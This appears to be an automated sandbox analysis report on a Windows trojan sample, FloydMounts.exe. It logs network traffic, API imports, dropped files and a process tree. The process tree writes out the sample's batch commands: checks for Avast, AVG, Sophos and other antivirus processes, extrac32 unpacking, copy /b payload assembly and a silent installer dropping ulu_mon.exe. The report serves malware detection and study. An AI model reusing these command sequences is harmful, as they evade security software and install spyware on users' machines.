Source: X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2569814319.0000000001030000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2563365682.0000000003830000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000003.3093420378.0000000002630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://jrsoftware.org0
Source: X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2569814319.0000000001030000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000003.3093420378.0000000002630000.00000004.00001000.00020000.00000000.sdmp, FloydMounts.exe	String found in binary or memory: https://sectigo.com/CPS0
Source: X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2569814319.0000000001030000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2563365682.0000000003830000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000003.3093420378.0000000002630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0D
Source: X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2569814319.0000000001030000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2563365682.0000000003830000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000003.3093420378.0000000002630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.certum.pl/CPS0
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: FloydMounts.exe	String found in binary or memory: https://www.globalsign.com/repository/0
Source: X4PCDQPDT1B8IDPB7SN83.exe, 00000011.00000003.2560003095.000000007EFCB000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.exe, 00000011.00000003.2552320717.0000000002C2F000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000000.2561740283.0000000000471000.00000020.00000001.01000000.00000009.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000000.2575985053.00000000008CD000.00000020.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://www.innosetup.com/
Source: X4PCDQPDT1B8IDPB7SN83.exe, 00000011.00000003.2560003095.000000007EFCB000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.exe, 00000011.00000003.2552320717.0000000002C2F000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000000.2561740283.0000000000471000.00000020.00000001.01000000.00000009.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000000.2575985053.00000000008CD000.00000020.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://www.remobjects.com/ps

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 104.21.25.41:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.25.41:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.25.41:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.25.41:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.25.41:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.25.41:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.25.41:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.25.41:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.74.235:443 -> 192.168.2.4:49763 version: TLS 1.2

Source: C:\Users\user\Desktop\FloydMounts.exe

Code function: 0_2_004050F9 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050F9

Source: C:\Users\user\Desktop\FloydMounts.exe

Code function: 0_2_004044D1 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044D1

Source: Yara match

File source: Process Memory Space: ulu_mon.exe PID: 5628, type: MEMORYSTR

Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe

Code function: 47_2_00528379 NtQuerySystemInformation,

47_2_00528379

Source: C:\Users\user\Desktop\FloydMounts.exe

Code function: 0_2_004038AF EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,InitOnceBeginInitialize,ExitWindowsEx,

0_2_004038AF

Source: C:\Users\user\Desktop\FloydMounts.exe	File created: C:\Windows\BrightAnnounce	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	File created: C:\Windows\CurveSap	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	File created: C:\Windows\ProvedBrunei	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	File created: C:\Windows\IntroducedCompile	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	File created: C:\Windows\BDear	Jump to behavior

Source: C:\Users\user\Desktop\FloydMounts.exe	Code function: 0_2_0040737E	0_2_0040737E
Source: C:\Users\user\Desktop\FloydMounts.exe	Code function: 0_2_00406EFE	0_2_00406EFE
Source: C:\Users\user\Desktop\FloydMounts.exe	Code function: 0_2_004079A2	0_2_004079A2
Source: C:\Users\user\Desktop\FloydMounts.exe	Code function: 0_2_004049A8	0_2_004049A8
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Code function: 47_2_00526000	47_2_00526000

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\174436\Produces.com 1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49

Source: C:\Users\user\Desktop\FloydMounts.exe

Code function: String function: 004062CF appears 58 times

Source: FloydMounts.exe

Static PE information: invalid certificate

Source: X4PCDQPDT1B8IDPB7SN83.tmp.17.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: X4PCDQPDT1B8IDPB7SN83.tmp.19.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-PGV92.tmp.20.dr	Static PE information: Resource name: UNICODEDATA type: DOS executable (COM, 0x8C-variant)
Source: is-PGV92.tmp.20.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows

Source: X4PCDQPDT1B8IDPB7SN83.tmp.19.dr	Static PE information: Number of sections : 11 > 10
Source: X4PCDQPDT1B8IDPB7SN83.exe.11.dr	Static PE information: Number of sections : 11 > 10
Source: X4PCDQPDT1B8IDPB7SN83.tmp.17.dr	Static PE information: Number of sections : 11 > 10

Source: FloydMounts.exe, 00000000.00000003.1662747809.0000000000702000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs FloydMounts.exe
Source: FloydMounts.exe, 00000000.00000002.1663429752.0000000000702000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs FloydMounts.exe

Source: FloydMounts.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@79/31@3/2

Source: C:\Users\user\Desktop\FloydMounts.exe

0_2_004044D1

Source: C:\Users\user\Desktop\FloydMounts.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp

File created: C:\Users\user\AppData\Roaming\UltraMedia

Jump to behavior

Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Mutant created: \Sessions\1\BaseNamedObjects\MutexNPA_UnitVersioning_5628
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5592:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2492:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2020:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3248:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4556:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1012:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3980:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1168:120:WilError_03

Source: C:\Users\user\Desktop\FloydMounts.exe

File created: C:\Users\user\AppData\Local\Temp\nsm26CA.tmp

Jump to behavior

Source: Yara match	File source: 47.0.ulu_mon.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Source: FloydMounts.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'WRSA.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'OPSSVC.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVASTUI.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVGUI.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'NSWSCSVC.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'SOPHOSHEALTH.EXE'

Source: C:\Users\user\Desktop\FloydMounts.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\FloydMounts.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: tasklist.exe, 00000005.00000002.1682411136.0000000000743000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000005.00000003.1681795428.000000000073A000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000005.00000003.1681947297.0000000000742000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_ProcessEXE;kk

Source: FloydMounts.exe	Virustotal: Detection: 25%
Source: FloydMounts.exe	ReversingLabs: Detection: 18%

Source: C:\Users\user\Desktop\FloydMounts.exe

File read: C:\Users\user\Desktop\FloydMounts.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\FloydMounts.exe "C:\Users\user\Desktop\FloydMounts.exe"
Source: C:\Users\user\Desktop\FloydMounts.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Blvd Blvd.cmd & Blvd.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 174436
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Contribute
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "nightlife" Consultants
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Share + ..\Crimes + ..\Briefing + ..\Rj + ..\Pierre + ..\Loving U
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\174436\Produces.com Produces.com U
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Process created: C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe "C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe"
Source: C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe	Process created: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp "C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp" /SL5="$5044E,10753133,845824,C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe"
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process created: C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe "C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe	Process created: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp "C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp" /SL5="$6044E,10753133,845824,C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process created: C:\Windows\System32\timeout.exe "timeout" 9
Source: C:\Windows\System32\timeout.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process created: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe "C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe"
Source: C:\Users\user\Desktop\FloydMounts.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Blvd Blvd.cmd & Blvd.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 174436	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Contribute	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "nightlife" Consultants	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\174436\Produces.com Produces.com U	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Process created: C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe "C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe	Process created: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp "C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp" /SL5="$5044E,10753133,845824,C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process created: C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe "C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe" /VERYSILENT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe	Process created: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp "C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp" /SL5="$6044E,10753133,845824,C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe" /VERYSILENT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process created: C:\Windows\System32\timeout.exe "timeout" 9	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"	Jump to behavior
